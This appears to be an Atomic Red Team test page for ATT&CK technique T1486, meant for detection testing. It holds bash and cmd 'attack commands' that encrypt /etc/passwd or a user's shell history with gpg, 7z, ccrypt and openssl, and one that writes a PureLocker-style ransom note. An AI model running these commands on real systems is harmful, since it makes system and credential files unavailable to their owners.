# T1486 - Data Encrypted for Impact
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1486)
<blockquote>Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)

In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)</blockquote>

## Atomic Tests

- [Atomic Test #1 - Encrypt files using gpg (Linux)](#atomic-test-1---encrypt-files-using-gpg-linux)

- [Atomic Test #2 - Encrypt files using 7z (Linux)](#atomic-test-2---encrypt-files-using-7z-linux)

- [Atomic Test #3 - Encrypt files using ccrypt (Linux)](#atomic-test-3---encrypt-files-using-ccrypt-linux)

- [Atomic Test #4 - Encrypt files using openssl (Linux)](#atomic-test-4---encrypt-files-using-openssl-linux)

- [Atomic Test #5 - PureLocker Ransom Note](#atomic-test-5---purelocker-ransom-note)


<br/>

## Atomic Test #1 - Encrypt files using gpg (Linux)
Uses gpg to encrypt a file

**Supported Platforms:** Linux


**auto_generated_guid:** 7b8ce084-3922-4618-8d22-95f996173765





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| pwd_for_encrypted_file | the password that you want for the encrypted file | String | passwd|
| encrypted_file_path | path to the encrypted file | Path | /tmp/passwd.gpg|
| input_file_path | path to the file that you want to encrypt | Path | /etc/passwd|
| encryption_alg | encryption algorithm of the file | String | AES-256|


#### Attack Commands: Run with `bash`! 


```bash
echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}
```

#### Cleanup Commands:
```bash
rm #{encrypted_file_path}
```



#### Dependencies:  Run with `bash`!
##### Description: Finds where gpg is located
##### Check Prereq Commands:
```bash
which_gpg=`which gpg`
```
##### Get Prereq Commands:
```bash
(which yum && yum -y epel-release gpg)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y gpg)
```




<br/>
<br/>

## Atomic Test #2 - Encrypt files using 7z (Linux)
Uses 7z to encrypt a file

**Supported Platforms:** Linux


**auto_generated_guid:** 53e6735a-4727-44cc-b35b-237682a151ad





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| pwd_for_encrypted_file | the password that you want for the encrypted file | String | passwd|
| encrypted_file_path | path to the encrypted file | Path | /tmp/passwd.zip|
| input_file_path | path to the file that you want to encrypt | Path | /etc/passwd|


#### Attack Commands: Run with `bash`! 


```bash
$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}
```

#### Cleanup Commands:
```bash
$which_7z e #{encrypted_file_path}
rm #{encrypted_file_path}
```



#### Dependencies:  Run with `bash`!
##### Description: Finds where 7z is located
##### Check Prereq Commands:
```bash
which_7z=`which 7z`
```
##### Get Prereq Commands:
```bash

```




<br/>
<br/>

## Atomic Test #3 - Encrypt files using ccrypt (Linux)
Attempts to encrypt data on target systems as root to simulate an inturruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.

**Supported Platforms:** Linux


**auto_generated_guid:** 08cbf59f-85da-4369-a5f4-049cffd7709f





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| cped_file_path | path where you want your copied file to be | Path | /tmp/passwd|
| root_input_file_path | path to the file that you want to be encrypted if you are root user | Path | /etc/passwd|
| user_input_file_path | path to file that you want to be encrypted if you are normal user | Path | ~/.bash_history|
| impact_command | command to show impact of encryption | String | sudo su|


#### Attack Commands: Run with `bash`! 


```bash
if [[ $USER == "root" ]]; then $which_ccencrypt #{root_input_file_path}; file #{root_input_file_path}.cpt; #{impact_command}; else $which_ccencrypt #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command}; fi
```

#### Cleanup Commands:
```bash
if [[ $USER == "root" ]]; then mv #{cped_file_path} #{root_input_file_path}; else cp #{cped_file_path} #{user_input_file_path}; fi
```



#### Dependencies:  Run with `bash`!
##### Description: Finds where ccencrypt and ccdecrypt is located and copies input file
##### Check Prereq Commands:
```bash
which_ccencrypt=`which ccencrypt`
which_ccdecrypt=`which ccdecrypt`
if [[ $USER == "root" ]]; then cp #{root_input_file_path} #{cped_file_path}; else cp #{user_input_file_path} #{cped_file_path}; fi
```
##### Get Prereq Commands:
```bash
(which yum && yum -y epel-release ccrypt)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y ccrypt)
```




<br/>
<br/>

## Atomic Test #4 - Encrypt files using openssl (Linux)
Uses openssl to encrypt a file

**Supported Platforms:** Linux


**auto_generated_guid:** 142752dc-ca71-443b-9359-cf6f497315f1





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| private_key_path | path to the private key | Path | /tmp/key.pem|
| public_key_path | path to the public key | Path | /tmp/pub.pem|
| encryption_bit_size | size of the bit of encryption | Integer | 2048|
| encrypted_file_path | path to the encrypted file | Path | /tmp/passwd.zip|
| input_file_path | path to the file that you want to encrypt | Path | /etc/passwd|


#### Attack Commands: Run with `bash`! 


```bash
$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}
$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}
$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}
```

#### Cleanup Commands:
```bash
$which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path}
rm #{encrypted_file_path}
```



#### Dependencies:  Run with `bash`!
##### Description: Finds where openssl is located
##### Check Prereq Commands:
```bash
which_openssl=`which openssl`
```
##### Get Prereq Commands:
```bash

```




<br/>
<br/>

## Atomic Test #5 - PureLocker Ransom Note
building the IOC (YOUR_FILES.txt) for the PureLocker ransomware 
https://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/

**Supported Platforms:** Windows


**auto_generated_guid:** 649349c7-9abf-493b-a7a2-b1aa4d141528






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt
```

#### Cleanup Commands:
```cmd
del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1
```





<br/>
